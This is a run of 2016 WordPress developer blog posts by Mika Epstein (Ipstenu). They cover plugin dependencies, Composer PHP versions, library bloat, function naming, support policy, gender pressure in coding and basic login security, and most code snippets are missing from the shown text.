Personally, I feel that the NPM or Composer style *development* of plugin is the way to go. Development. Not deployment. With few exceptions, I feel the best way to release a plugin is all in one, rolled up together. The exceptions are, of course, plugins that are add-ons to others, like a plugin that adds a new email integration hook to MailChimp, or a new payment gateway for WooCommerce.
The rest of our plugins should be self contained, reliant on naught but ourselves. I have two plugins which contain the same AWS SDK libraries, written in a way to check if the library is already loaded and to make sure it only loads what’s needed. Why did I do that? Because then someone can have one or the other or both without conflicts.
The user doesn’t have to care about dependancies. They are invisible. That is as it should be. Users don’t have to care.
But there’s also a danger with dependancies, as recently came to light in the JS world. Azer Koçulu [liberated his modules from NPM](https://medium.com/@azerbike/i-ve-just-liberated-my-modules-9045c06be67c#.yvlx3a383) after the threat of a trademark based lawsuit had NPM remove one of his projects.
Sidebar: Open Source has no right to impinge on trademark law. Period. However some lawsuits are frivolous and daft and should be contested. Sadly most communities (NPM, WordPress.org, etc) do not have the money or resources to fight that battle for a developer. If you chose to fight, please contact the EFF.
As is his right, Azer pulled *all* his packages from NPM. The fall out from this package removal is that a lot of automated builds failed. This has to do with the way Composer is often bundled. Instead of a wrapped up package like an exe or a dmg, it’s a stub that reaches out and downloads all its requirements on the fly. Just like the TGM Plugin Installer. Right? And what happens when those requirements are missing? The build fails.
Perhaps worse, by unpublishing the name slugs used can be taken over by anyone else, and used to push more nefarious code. This did not happen. NPM checked everyone and verified they were as decent as one can before handing over the old names to new owners.
My first thought was “Could this happen to WordPress?”
Yes and no. First up, we don’t reuse names. If you have the plugin ‘foobar’ and ask to have it closed, the name is still reserved. In extremely rare cases we’ve turned over names to trademarked owners (like how Facebook owns the facebook slug) but always with communication of both parties and always with awareness to how many users might be impacted.
But could we pull a plugin for trademark infringement and screw up package dependancies? You bet your ass.
We’ve been *lucky* that all legal parties involved in similar arguments have been accepting of the ‘grandfathered’ ruling. That’s why we still have plugins with slugs like ‘google-analytics-by-joe’ out there. But it’s also why we don’t allow any more. And yes, when a plugin with a unique name is submitted, we do take the time to check if it’s already trademarked. To spare people this drama.
But yes. It could totally happen. And since we have to name our dependancies and rely on those slugs, there’s no easy way out.
I suggest reading the [Hacker News thread](https://news.ycombinator.com/item?id=11340510) on the matter. They weigh both sides of the issue, and show you how the pros and cons make this even more complex.
**Categories:** How It Is
**Tags:** development, essay, open source
---
### [The Pressure to Succeed as a Woman Who Codes](https://halfelf.org/2016/pressure-succeed-woman-codes/)
**Published:** March 25, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What men in dresses, fake geek girls, and coders all have in common.
**Content:**
I feel a disproportionate amount of pressure to succeed in coding.
I call it disproportionate because it’s only about 1/3rd of my career. The other two are support/training and public speaking. And while I used to have a fear of public speaking, I’ve somehow managed to discard that and I’ve got no concerns at all about screwing up on stage. I might. My talk might flop. My training might not be understood or adopted. My support may be wrong.
But what scares me to the point of tears is coding.
It’s not that I’m *bad* at it. Intellectually I think that I’m pretty good. I’m not the greatest in the universe, but that’s a realistic stance as opposed to anything else. And I enjoy playing with it, inventing new things, seeing how they work, helping people solve problems with code. It’s honestly fun.
Looking at the [Stack Overflow Developer Survey](https://stackoverflow.com/research/developer-survey-2016) I noticed that only 5.8% of the participants identified as female. Taken a different way, 92.8% of people had no problem saying they were men. Now, SO is aware of the disparity, and mentioned this:
> Our survey results demonstrate a dramatic disparity in tech among men and women. In fact, we know women make up a more significant proportion of the developer workforce than this suggests. According to Quantcast, about 12% of Stack Overflow’s readers are women. (We don’t actively track gender internally.)
I have a personal theory that gamification appeals more to men than women. This stems from reading about Richard Bartle’s player types way back in the 90s. It was a big thing in MUDs and MUSHes, and the [Bartle Test](https://en.wikipedia.org/wiki/Bartle_Test) is essentially a series of questions that can be used to identify the classification of a player into one of four types: Killers, Achievers, Socializers, or Explorers.
Now it helps if you’ve read a little of [Hearts, Clubs, Diamonds, Spades: Players who Suit MUDs](http://mud.co.uk/richard/hcds.htm), but you can get by with the Wikipedia article. The main point is that we can classify people into player ‘types’ based on what they enjoy doing and how they like doing it.
In general, winning and hacking are associated with Killers and Achievers, while helping and curating fall under Socializers and Explorers. And when I say it like that and you look at things like programming vs support forums (of which I do consider Stake Overflow), lines start to be drawn. These lines are carved in stone when you consider some of the research gamerDNA did into what kinds of player played what kinds of World of Warcraft characters, and what their genders were.
What does all this have to do with the unrealistic expectations on women who code?
If one buys in to the hype and typecasting, then one would say that women (nurturers) are more likely to be socializers and explores. Regardless of if this is accurate, there certainly is an expectation on women that they are ‘mothers’ and, from that, they are often unconsciously perceived of being a specific player type. And when someone steps out of what people feel their norm is, they’re often set upon.
This is not solely endemic to women, of course. Men who express emotions publicly, like crying for example, are also set upon by others for not being manly enough. And that is precisely my point. People who don’t fit the stereotypes of what gender is get pushed back. People who act ‘out of character’ are looked upon as odd.
Okay, so why do women keep feeling pressured? Because shit like this happens:
> In the line to see Deadpool, a film where they mention me by name, a guy started explaining who Deadpool was to me.
>
> — Gail Simone 💙💛 (@GailSimone) [March 16, 2016](https://twitter.com/GailSimone/status/710176567012540416?ref_src=twsrc%5Etfw)
You can look up the ‘fake geek girl’ phenomenon on your own. The fact is that it applies to anything not stereotypically female that a woman does. And it means that, in order to be taken seriously as a coder, we have to achieve great things or all we’ve done is prove we’re only good for the ‘fluff’ of support.
Eddie Izzard makes a joke in his “Dress to Kill” routine about men who wear dresses and heels:
> You know, if a woman falls over wearing heels, that’s embarrassing, but if a bloke falls over wearing heels, then you have to kill yourself. It’s the end of your life. Its quite difficult.
And while we laugh at it, the truth is that ‘abnormal’ behavior is treated with incredibly high expectations. Unrealistic ones. Unfair ones.
I don’t have an answer to this, and for now women shoulder the burden of being expected to be greater than men of identical backgrounds, simply because of how we were born.
**Categories:** How It Is
**Tags:** essay
---
### [Composer and WordPress' Plugin Preflight Check](https://halfelf.org/2016/composer-wporg-preflight-check/)
**Published:** March 18, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** More control over Composer means fewer conflicts with SVN's preflight checks on WordPress.org
**Content:**
When you upload a plugin to WordPress.org’s repository, it does some pre-flight checks to make sure the code is okay. More than once it’s caught a missing `;` for me. But one day it caught this:
I stared for a moment, Googled to be sure, and sighed when I figured out that what was happening was my library was a PHP 5.6+ version and that didn’t pass the 5.4 checks.
Regardless of how annoying this is, it’s not too hard to fix. No, I’m not going to tell you how to avoid the scan, nor am I going to talk about the stupidity of the scan. Instead I’d like to tell you how to *get around* this problem.
It’s so easy, too.
You see, my issue is that I use [Composer](https://getcomposer.org) to [build my resource libraries](https://halfelf.org/2016/resource-folders/) and in my `composer.json` file, I have this:
And for what it’s worth, this is great. I have it download all my libraries. Then I have it run a script to copy over just what I need to my `aws` folder and I have Git and SVN ignore the `vendor` folder. Everyone wins! The problem is that Composer sees that my laptop is running PHP 5.6 and so it installed version
## Fix PHP on Your Computer
Since I use [Homebrew](http://brew.sh/) on my Mac, this is super easy for me.
Then when I re-run `composer update` it will install what I need.
The problem here, though, is that this is tied to a specific computer, and if a coworker downloads my stuff and plans to fork it, they’re SOL and merges fail and it’s sad times all around. So with that in mind, uninstall 5.4 and go back to 5.6.
If you have a problem with installing 5.6, run it this way:
## Fix PHP in Composer
I like this fix better. Put this above your require statement and you’ll force Composer to build based on PHP 5.4:
Now we’re cooking with fire. This works for everyone, it forces Composer to download 5.4 compatible libraries, and my very long transmission worked.
## Is This Perfect?
Obviously not. There are going to be cases where your code absolutely has to be the code for PHP 5.5 and up. The latest version of the AWS SDK is v3, for example. But it’s for 5.5 only. I personally don’t feel there’s enough of a buy-in for PHP 5.5 and up *yet* to make an issue of it. And having no check at all won’t fly.
**Categories:** How To
**Tags:** composer, libraries, plugins, svn, wordpress
---
### [Project Bloat](https://halfelf.org/2016/project-bloat/)
**Published:** March 21, 2016
**Author:** Ipstenu (Mika Epstein)
**Content:**
Can we have a serious talk about project bloat?
During the framework kerfluffle, I remarked that I hated seeing a 10 line plugin needlessly include a framework like CMB2 because of the size of plugin it created. Someone remarked that if the library helped them write something in ten lines instead of 100, wasn’t that better?
And the answer to this is *maybe*.
My issue is not using a library when the library is the best solution. My issue is people defaulting to use a library before they think about if it is the *best* solution.
And my point is really quite simple and obvious to a large number of developers. I’ve touched on it [time](https://halfelf.org/2015/hate-framework/) and [again](https://halfelf.org/2016/trouble-libraries/). I’ve told you how I handle [packaging my vendor folders](https://halfelf.org/2016/resource-folders/). Simply put, I think that before you include *anything* in your project, you should evaluate it’s merits and flaws.
Look. There are always, and will always be, good reasons to use a library. There’s never a reason to use a library thoughtlessly, and that’s what I see every day. By ‘thoughtlessly’ I meant someone who has a plugin that adds one setting, a custom meta field let’s say, into all posts. And in order to do that, they wrap ACF into their plugin.
For *one* field.
One.
Literally one.

And I get it, I really do. The settings API is a bag of wet hair, and the fields API needs love (so much props to [Scott Clark for his work there](https://github.com/sc0ttkclark/wordpress-fields-api)), and figuring out how to do things can be a comprehensive battle of trial and error vs ‘How much hair do I have left?’ And yes, I *do* use some of those libraries, like CMB2 and ACF, when the need calls for it. When I’m making a massive custom tool or theme and I need to do a million things. But …
What I don’t do is use it for one field. Sure I could, but that would make my plugin very large and to no real benefit except it’s ‘easier’ for me. And even that is questionable. When I *do* use them, and yes I do, I do so thinking about the weight I add to my project.
A pause here. I say this a lot, the weight of a project.
Everyone seem to assume I only mean the size (in MB) of a project. I don’t. When I say the ‘weight’ of a project I mean the file sizes, of course. Making your 10kb plugin over 500kb just to add one field (I’m being literal here, folks) is sketchy at best. Making it over a meg is borderline ignorant. But I also mean the weight of how it impacts the speed of the site. Will having the library called make a site slower? It might. And I also mean the weight of technical debt. Am I going to update the plugin and the library every single time? This is my responsibility now, and I have to test and test and ensure I don’t break anything.
The weight isn’t just the size, it’s the time sink. It’s everything that has to go into keeping a library included in a way that doesn’t conflict with anything else. It’s managing my time so I can test and evaluate changes. It’s making sure I push code that won’t break on new versions of my main project (i.e. WordPress). It’s making sure my changes don’t break other co-projects (like WordPress plugins and themes), by assuming they’ll always work on the newer versions. Backwards compatibility isn’t a requirement for all projects, but when it is, you bear that weight too.
And the weight is also the fact that I’m robbing myself of a greater understanding of WordPress core. Using a library isn’t ‘cheating’ but it does mean I might be *less* capable of debugging a conflict, if it’s due to the library.
That’s the real weight of a library included in your project. If you’re not considering it when you add a library, you’re doing yourself a massive disservice.
**Categories:** How It Is
**Tags:** coding, design, essay
---
### [Making Plugins Filterable](https://halfelf.org/2016/making-plugins-filterable/)
**Published:** March 14, 2016
**Author:** Ipstenu (Mika Epstein)
**Content:**
I’m really bad at thsi since, generally, I don’t know why people would want to with the plugins I make. Which means I don’t do it. Which means I didn’t know how.
I have a plugin that records the IP address of users as they register and outputs it on the ‘show users’ page. It’s simple and it works.
Someone asked me if I could make it link to a place where he could see where the IP was from. Now my *intent* with the plugin was to list the IPs so I could spot serial sock puppets. But this use-case, I agreed, was valid. I just didn’t want to tie my plugin into one service or another. So I made it filterable.
As it happens, it was incredibly simple. This is filed under “Stuff I should have known years ago…”
## Make The Output Filterable
Originally I had the code outputting `$theip` and, in order to make it filterable, I wrapped that with this:
The whole function looks like this:
You’ll notice the `has_filter()` check is only on one possible output? That’s because I’m translating the output on the other one, which says “None Recorded” I could filter that, so people could change it to anything they want, but right now I think that’s a bit odd.
## Filter The Output
To test this, I made a file `/mu-plugins/register-ip-multisite.php` and put the following inside:
That made it a link. Simple.
## Does It Work?
Of course!
[](https://halfelf.org/wp-content/uploads/sites/2/2016/03/ip-link.png)
I did not apply the filter to the output on the edit-users page, but if that turns out to be needed, I can.
**Categories:** How To
**Tags:** development, filter, plugins
---
### [Apple Watch Faces](https://halfelf.org/2016/apple-watch-faces/)
**Published:** March 11, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** After close to a year with a watch, I've sorted out what kind of watch faces I like.
**Content:**
I’ve had my Apple Watch for getting near a year now.
Time flies I guess.
I started out using the basic Utility face, with the round clock and simple notifications along the edges. The more I used it, the more I realized I needed different faces for different days. That’s something the Watch lets me do with surprising ease.
## The Workday
[](https://halfelf.org/wp-content/uploads/sites/2/2016/03/IMG_0344.jpg)
What I need to know the most is ‘what do I have scheduled next?’ Meetings of course, but I also put appointments and I schedule ‘to do’ slots in there. I need a half day to fix some code? I’ll do block that out.
The complications are the date in the upper left, the calendar in the center, and the bottom row are the weather, my activity, and [MacID](http://macid.co/). The last one is a premium app which lets me lock and unlock my laptop from my watch. Since I leave my laptop open on my desk all the time, I find this helpful for security. Pop off the bathroom, lock the laptop. Come back, tap the watch, unlock.
If you don’t have a watch, they have an iOS app that works too. In fact, the Watch uses the phone app.
## The Weekend
[](https://halfelf.org/wp-content/uploads/sites/2/2016/03/IMG_0342.jpg)
I like an analog watch face. It’s my default. This one shows me the time and date with the day, the corners are battery and activity. The bottom is weather in detail. If I tap on the date, I go to my calendar, but most weekends I don’t need to worry about it.
## The Traveller
[](https://halfelf.org/wp-content/uploads/sites/2/2016/03/IMG_0343.jpg)
When I travel, I don’t actually need my calendar so much. It’s weird, but since I mostly go to WordCamps or similar conventions, I don’t tend to schedule things past ‘event – 8am to 5pm’ followed by ‘After Party – 6pm to 9pm’ and so on.
That means what I need for my watch is the weather (I’m often in places for the first time). The bottom row is the time at home (so I don’t call my wife at one in the morning), activity, and my flight status. I almost always fly American these days, so I put that complication in.
## The Apps
I mentioned [MacID](http://macid.co/) already. It’s $3.99 and worth it. I also use [Wunderground](http://www.wunderground.com) for my weather, since it has the right kind of alerts. I can see the clouds and the rain and that’s all I want. I use the free version. [American Airlines](http://www.aa.com/apps) has a free app, and it’s surprisingly good about alerts for gate changes and rescheduled flights. I’m constantly getting updates before gate agents. I also use [TripCase](http://travel.tripcase.com/) since I can track my hotel and event information in it. The bonus there is my wife can check and know where I’m supposed to be, in case she needs to get a hold of me.
## What Else
I actually have other faces I use. I have a photo I took in Japan that I like to use with the time, and nothing more, when I have a non-stress, non-fuss day. I have a red-text time only face for when I’m in theaters (red light is less ‘glaring’ than others if I should happen to check the time). But the three I listed above are my regular watch faces. All on one watch.
**Categories:** How It Is
**Tags:** apple, hardware, watch
---
### [The Awareness of Method](https://halfelf.org/2016/awareness-intent/)
**Published:** March 16, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Being aware of how we speak (or type) to others is imperative in communication when you're pretty much all remote.
**Content:**
February and March were weird for me. A lot of personal drama, and none of it really mattered to the masses so I kept it to myself and my close friends. I don’t feel the need to publicly broadcast my personal pain on everyone, and I do my best to step back and let it (hopefully) not impact my reactions to everyone else.
This was very hard because a goodly portion of my drama was from the public sector, and it boiled down to people *unintentionally* hurting me. And as I grumbled on Twitter, I feel like I need to explain how having hurt feelings doesn’t mean I’m over reacting. Which is preposterous.
I understand that, for the most part, the people who hurt me certainly did not intend to attack me or sound combative. And I’m well aware that tone is a terribly difficult thing to read in the written word. That’s why good authors take the time to explain things in detail. Things like italics and bold and capital letters are important for reading into the meaning of a sentence.
At the same time, any time a comment aimed towards me starts with a remark about how they don’t care for drama, I walk away. You should never say that. If you don’t want to talk about the drama, don’t invite the drama. It’s really that simple. And if you’re worried that how you’re saying something, it’s a sign that you should rethink what you’re saying and how you’re saying. This is where the method comes in to play.
The intent of what you’re saying is subject to the **manner** in which you say it. If you ask a sincere question and people react strongly and negatively to it, then your intent was lost in the method. Communication in text-only is complicated. You can’t see people’s faces, you can’t hear their tone, and most of us don’t know each other to the degree that we can reliably read intent. Simply put, your intent is subject to how it’s read.
For a long time, I’ve advocated people remember that when someone misinterprets what they’ve said, the fault lies in both parties. If I say something and it’s read as aggressive, this is in part my fault for not tempering my tendency to be direct with the need people have for humanity in a conversation. At the same time, no matter how nicely I say “Your plugin has been closed…” someone is rightly going to read it and be angry and interpret that I am being mean or offensive.
It’s a no-win situation. Or at least it’s one I’ve never figured out how to win. I’ve been told the default ‘your plugin has been rejected…’ email is too angry because it uses all caps for one line, even though it apologizes and explains it’s trying to get the reader’s attention and encourage them to … well … read. That email was developed over *years* of communications with thousands of developers. It’s the one we determined to have the highest success rate of people actually reading and processing what was said.
Still, at least once a day someone replies to an email asking ‘How do I resubmit my plugin?’ This invariably comes in reply to an email that says “When you’ve corrected your code, reply to this email with the updated code attached as a zip, or provide a link to the new code for us to review.” And at that point, I honestly don’t know how to make it more clear.
When people say the email is too aggressive, I explain that we’ve cultivated them over years, but we’re always willing and welcome to make it less so. And we *ask* if they have suggestions? Not a single person has ever replied with advice, *except* the person who said “Don’t use emoticons, they’re unprofessional.”
Seriously, you just can’t win.
Which brings me to the point and it’s that winning isn’t the point. Losing is the point. We lose when we don’t take into consideration the reaction to what we say. We lose when we dismiss someone else’s reaction. We lose when we over-react to what we perceive as an over-reaction.
We will never be able to always speak clearly and without accidental misunderstandings. We will never be able to ask every question in a way that makes everyone feel welcome to join a dialogue.
We can be aware that our words have weight and meaning, *especially* because an increasing number of us communicate in text first (if not text *only*). We can try to learn from our mistakes. We can apologize sincerely for those mistakes.
What you say can and will be taken out of context. It can and will be read the wrong way. When it happens, it hurts and it tends to make you react poorly. But being hurt by someone’s words doesn’t mean you’re over-reacting. And it would do us all good to remember to respect other people’s feelings and reactions.
Yes. Even me.
**Categories:** How It Is
**Tags:** communication, essay
---
### [On Saying No](https://halfelf.org/2016/saying-no/)
**Published:** March 9, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Saying no and hearing no is never simple.
**Content:**
We are, for the most part, accustomed to getting our way. We have a problem, we contact support, they fix it.
Once in a while, however, support says ‘No.’
## I’m sorry, I can’t do that, Dave.
There are technical limits to all products. Due to our own failures of imagination, we cannot foresee every possible iteration of usage for the things we build. These failures are, of course, not the fault of anything but our own lack of omniciense. We cannot know all things. We cannot predict all things.
In this way, we have learned to expect limitations over time. We know that there is a line drawn in what the computer can do. If we have not programmed the computer to do a thing, it cannot know to do the thing. The reason for the limitation is just that the code’s author didn’t wish to write a thing. Why? Many reasons, none of which matter.
We can, however, accept that systems and software are written by humans. Humans are fettered with limited vision. Computers are shackled by the humans who create them.
When a program says it cannot do a thing, it cannot do the thing.
## I’m sorry, the system’s a bit limited.
The problem with our shackles is that the one who has to tell a customer that the computer cannot do a thing is a person, not a computer.
We cannot delete user accounts on WordPress.org for a number of reasons. If the site was just a blog, or a BuddyPress network, it would be a simple matter. Instead we integrated a wiki, multiple bbPress 1.x instances, a BuddyPress network, a multisite, theme SVN, plugin SVN, and core SVN.
So no. We no longer have the technical ability to remove a user ID. Not even in the case where you accidentally used your gmail address as your username and are now `ipstenugmailcom` … It says username, but people do what they do. And no, we can’t rename users either. Same reason.
We coded ourselves into a situation where we are technically limited. We cannot do the thing because we didn’t develop a way to do the thing.
## I’m sorry, but it’s against policy
Then there’s a different kind of reason that someone tells you no. Like when someone asks for an embarrassing post or comment be deleted. Obviously this can be done. Comments and forum replies can always be deleted. That’s how they work. You may have your own site and you’ve deleted spam.
But every site has a comment policy. They have the right to moderate their site however they want. Some delete things right away. Some moderate and manually approve all comments. Others let things run until the shit hits the fan and then spend hours and weeks and months cleaning up. However they choose to moderate and maintain their site is their business and their choice. You don’t have to stick around if you don’t like it.
A large issue occurs when you don’t realize until after the fact that one of the policies is, perhaps, not removing posts. That’s when things get really messy, because now you’re being told no and not only is it by a human, but it’s a human who makes the choice.
## Your rights are subjective
The rights you have on *someone else’s* website are subjective.
The rights you have when you use a product are as well.
If you download Microsoft Office, you agree to a lot of [terms and conditions](https://www.microsoft.com/en-us/Useterms/Retail/Office/2016HomeAndStudent/Useterms_Retail_Office_2016HomeAndStudent_ENG.htm). Whether or not you read them, you agreed to them. Same with Apple’s [iCloud terms and conditions](http://www.apple.com/legal/internet-services/icloud/ww/).
You give up some of your freedoms in exchange for their convenience. Your rights are subject to the agreements you make when you chose to use software, comment on a site, join a community, sign a contract, etc. etc.
## Be gracious in victory and defeat
Once in a great while, someone will make an exception for you. Most of the time you really *don’t* want it.
Perhaps you think it proves that all policies are mutable, but the reality is not. You see, that exception means it’s worth more to them to shut you up than it is to abide by policy.
Of course a post can be deleted. Of course someone can lock your account for you. Of course you can be granted an extended warranty. But, for the most part, in order to get that far and get that level of ‘reward,’ you will have had to become the person no one wants to talk with.
An example. A user asked for his account to be deleted and was informed of the technical impossibility of the request. He then asked for his posts to be removed and was informed of the policy prohibiting such a request. He finally asked for his account to be made inactive and to ban him from the site. He was told (after confirming that these requests were all to calm his paranoia and not that he was being harassed or stalked by someone) that the site was not his parents, and if he wanted to leave, the answer was to log off and walk away.
Instead he began to post nothing but vulgarities.
His account was locked and he was banned.
He will likely never be welcome again.
He might think he ‘won’ the argument, but all that happened was he showed his deplorable behavior, in public, in a way that Google captured. He tainted his reputation. He tarred and feathered himself. He burned his bridges. And he bragged about it.
## Support are people too
When you are told ‘no,’ try to understand why. Accept the fact that you cannot get what you want all the time. Sometimes it’s just impossible. It’s understandable to be upset and angry. But the people tasks with enforcing policy or educating you to as to limitations, they are people just like you.
**Categories:** How It Is
**Tags:** community, essay, support
---
### [Unique vs Common](https://halfelf.org/2016/unique-vs-common/)
**Published:** March 4, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little on the topic of naming libraries and functions.
**Content:**
Someone asked me if I could explain why sometimes I tell people to name their functions uniquely and sometimes I don’t.
I get how this is confusing, even though it makes perfect sense to me. Here’s how to remember:
- What’s *yours* is unique to your plugin
- What’s *common* is unique to what’s common
Okay, maybe that didn’t help. Let’s try a practical example!
I have a plugin called ‘Genericon’d’ which includes the [Genericons](http://genericons.com/) library inside. In that plugin, I have the following enqueues:
The first one is for Genericons, the library. There I use the common name of `genericons` which means if *anyone* else also enqueues Genericons with this name, one of ours will win depending on load order. For my personal plugin CSS, I use the name `genericond` (notice that D?) as it matches the name of my plugin and, therefore, is less likely to conflict with someone else’s plugin.
Conflict is the name of the game here. I actually *want* `genericons` to conflict. Well, not conflict. I want it to be recognized as a shared library, so WordPress only loads it once. If I had named it `genericond-genericons` then, in the event someone has Jetpack or a theme like TwentyFifteen which both include Genericons, they would load the entire library twice! And I would suck. On the other hand, if we all share the library name, WordPress will check, see it’s loaded, and carry on.
Name what’s *yours* in a way unique to your plugin or theme.
Name what’s *shared* in a way that’s unique, but also stupid obvious and easy to share.
Font-Awesome? Use `font-awesome` for your enqueues.
As for functions and class names, even if you put in a check for ‘if this doesn’t exist…’ the logic works the same. If it’s yours and yours alone and only exists in this code, name it unique to your plugin/theme. If it’s a shared library, like the aws-sdk, name the class in the standard way and wrap it in an ‘if this doesn’t already exist…’ so that if it does exist, it only gets called once.
Standard names for shared libraries.
Unique names for your personal codes.
And bonus! If you keep your names to a standard, while being unique, someone may call your functions too.
By the way, anything global like `DEFINE( 'FOO', true );` should always be unique. Those are globals. Everyone uses them. I’ve made that mistake too.
**Categories:** How To
**Tags:** function, wordpress
---
### [The Big Picture](https://halfelf.org/2016/big-picture/)
**Published:** March 2, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The big picture of putting users first.
**Content:**
## Decisions, Not Options
WordPress’s core philosophies are what has allowed it to be extendable, supportable, extensible, and surpass 25% market share.
One of WordPress’ hallmarks is a massive plugin repository and the ability to extend WP to do pretty much anything. Instead of making the core software huge and bloated, filled with aspects the majority don’t use, WordPress decided to follow a path of ‘decisions, not options.’ With that, the onus is on the developers to deeply learn and understand the implications of any and all changes and additions to the core software. We’re encouraged to separate our personal feelings from what is best for the project and the users.
We need to think about the big picture.
## I Fight for the Users
I often say this when I’m in core meetings about ideas for changes that will impact users. Generally these are visual changes, like moving a menu or adding in a more obvious button. When we, as developers, make a decision, we need to have the big picture in mind. Do *most* users need to decide what quality of image compression to use for WordPress? No. Not because they don’t care, but because the information to explain it is overwhelming to many.
Recently [WordPress increased the default image compression](https://make.wordpress.org/core/2016/02/22/proposal-increase-the-default-image-compression-in-wordpress/) (you’ll see it in WP 4.5). In the proposal, an incredible amount of research went in to figuring out what settings would be best for the majority of users.
Will the minority, the photography site runners, be possibly upset? Yes. But when we look at the big picture (ironic, I know) we remember that *most* people will only notice that their sites are loading images faster.
## It’s Okay To Be A Minority
Most of us started using WordPress and were the majority. We were the target audience and the people it aimed at. Over time, the ways we use WordPress become more and more specific, and suddenly we have at least one way where we are unique and special. We no longer ‘just blog’ on WordPress. We sell our wares, we write novels, we build communities.
We are, suddenly, a minority in how we use WordPress. This makes it harder and harder to keep the big picture in mind. We are, as humans, inclined to see ourselves first and put our own needs first. Our websites need these things, therefor they are the most important aspect of the upcoming changes in WordPress.
This isn’t true, of course. But we lose sight of the big picture very easily when the changes impact us, and it tends to make us concentrate on the wrong things.
## I Prioritize the Users
I speak up for the users in developer meetings when they’re not there.
I think of them first.
When I make a change, when I design a change, it’s for the users first. Even when it inconveniences me, even when I feel it’s not the perfect solution for my plans, I consider that what I’m making only is what it is *because* of the users.
The big picture is that users make the software what it is. Putting them first in as many things as possible makes it so that they can trust me when I make a decision. When I say “No, this would be better for you as a user but not for your safety.” I know I can say it from a place where I’ve earned the respect and trust of the users.
You cannot get to that place of trust without putting the users first in all possible things.
The big picture is bigger than just you, who wrote the software, and you, who used the software. The big picture is all of us.
**Categories:** How It Is
**Tags:** development, essay
---
### [Cooking as a Dev Skill](https://halfelf.org/2016/cooking-dev-skill/)
**Published:** February 29, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Learning to cook is exactly like learning to code. Only it tastes better.
**Content:**
My friend Dan asked if I’d be talking about cooking as a dev skill for WordCamp Minneapolis.
> .[@Ipstenu](https://twitter.com/Ipstenu?ref_src=twsrc%5Etfw) I'm assuming cooking as a dev will be your [@WordCampMpls](https://twitter.com/WordCampMpls?ref_src=twsrc%5Etfw) talk submission
>
> — Dan Beil (@add\_action\_dan) [February 17, 2016](https://twitter.com/add_action_dan/status/700107259972603905?ref_src=twsrc%5Etfw)
While I won’t be making that camp this year (sorry folks), I thought I’d take a moment to talk about cooking as a dev skill. Or rather, what cooking teaches you about developing a website.
## Know What You Want to Cook
You can’t just decide to throw things together until you’ve been cooking for so long, and you’re an expert at winging it. Most of the time, we pick a recipe we know, or feel we can follow, and decide what we want to make. We have to temper this with what we need to make. If I’m making dinner, I need protein and vegetables. If I’m making a pie, do I need the pie or do I just want something sweet?
Websites are the same way. We pick the site we want to make before we start building. When you go into making your site, you have to know what you *want* the site to be. You also have to know what you need. I need a web presence (it’s 2016, yes you do), but I don’t need a video and an interactive game and all the bells and whistles.
## Check Your Ingredients
Open the door to your refrigerator and make a list of what you have. Look at the recipe. Do you have what you require to make this dish? If you’re ordering out, you get the meal pre-made. When you’re making it yourself, you need to make sure you have salt and butter and tofu and eggs.
When we talk about webpages, we talk about the code behind it. Can you design something out of nothing? Do you have the tools with which to do so? Can you write javascript and PHP and HTML? These are things you need, these are your ingredients. They’re also going to be your libraries like Backbone and React.
## Mise En Place
In cooking, setting up everything beforehand makes the entire cooking experience better. I’m terrible at it, but I’m doing my best to get better, because once I’m prepared, everything flows and I’m less of a whirling dervish. The setup doesn’t just keep you organized, it keeps you real. It lays everything out and sometimes, when you look at 10 pats of butter, you may think about maybe cutting down a little.
Speaking of those libraries, make sure you have only what you need. The whole Backbone repository is over 5 megs. The one file you need is 69kb. Use only what you need. The more individual pieces you need, the more you should scrutinize them. Did you really need all that in the first place? Do you really need eleven css files for options of display, or should you make a basic one and let people build what they want?
## The Cake Will Collapse
You’re going to mess things up. You’ll burn the caramel, overcook the pasta, underboil the egg, and so on and so forth. These mistakes are okay. As Julia Child said it, “No on will ever know!”
Do I even need to say it? Your code will fail. A lot. In weird ways. You may spend an hour wondering why `WP-CLI` fails, only to remember it’s `WP_CLI` instead.
**Categories:** How It Is
**Tags:** coding, essay
---
### [Baby Steps Security](https://halfelf.org/2016/baby-steps-security/)
**Published:** February 24, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The move to enforcing better security is fraught with misinformation and caution. Two Factor is not the holy grail.
**Content:**
It’s a simple question. How do I make my site login secure?
My answer is simple. Use https for your admin dashboard and use a strong password.
## Your username is not a secret
My gmail user ID is ipstenu@gmail.com
My WordPress.org username is Ipstenu. So is my Twitter handle. Facebook? Yep. GooglePlus even.
And my username here on this site is Ipstenu.
I hear a lot of people telling folks that their username on their WordPress blog should be a secret and, for the life of me, I can’t understand the logic. [Your username is not a secret](https://halfelf.org/2014/username-secret/). It never really has been. It never will be. We used to log in everywhere with our emails, then it became our commonly used nicknames, and based on Twitter and Peach and whatever social network comes next, that’s where it’s going to remain.
## But… Admin?
But why do people tell you not to use ‘admin’ as your username, then? Well it’s the same reason you have a top lock and a knob lock on your door. The knob lock is your username. Everyone has one, and they have roughly the same level of protection. If you only use a knob lock and don’t have a good top lock, the brute force of someone kicking your door in is pretty easy.
The top lock, the bolt and chain, that’s your complex password. Not everyone uses them. You should, but some of us are lazy. When we do use them, we make our lives more secure and safe.
Back to admin as a username. Using admin is like using the same key for all the doors in an entire apartment building. If you’re the apartment owner, that sounds great. But if you’re the resident, you’re probably not super happy about that idea, right?
Changing your username to something unique to you makes your lock safer. Reusing it means you have the same master lock for all your accounts. It’s better for you, you can remember it, and it’s sneakily helpful for your branding. Yeah, I slipped SEO in there.
But your passwords are a different matter. You don’t want to reuse your passwords for a simple reason: If you *do* reuse your passwords, then once someone gets one password, they can get access to all your accounts.
All. Your. Accounts.
Your bank account.
## Two Factors
A lot of this is mitigated by something called [Two Factor Authentication](https://halfelf.org/2013/two-factor-authentication/), which gives you the ability to have a username (publicly known), a password (private and secret), and a one-time-use password (generated by an app and only good for 60 seconds or so). Now you have three locks! One of which you don’t even know how to open until you’re actually opening it.
The current issue with Two Factor Authentication is its usability. It can be confusing to people to set up. You need a smart phone, which are not universal quite yet, and you need to be able to take a picture of your screen for most of them. Even once you have it set up, you need to read and enter a code.
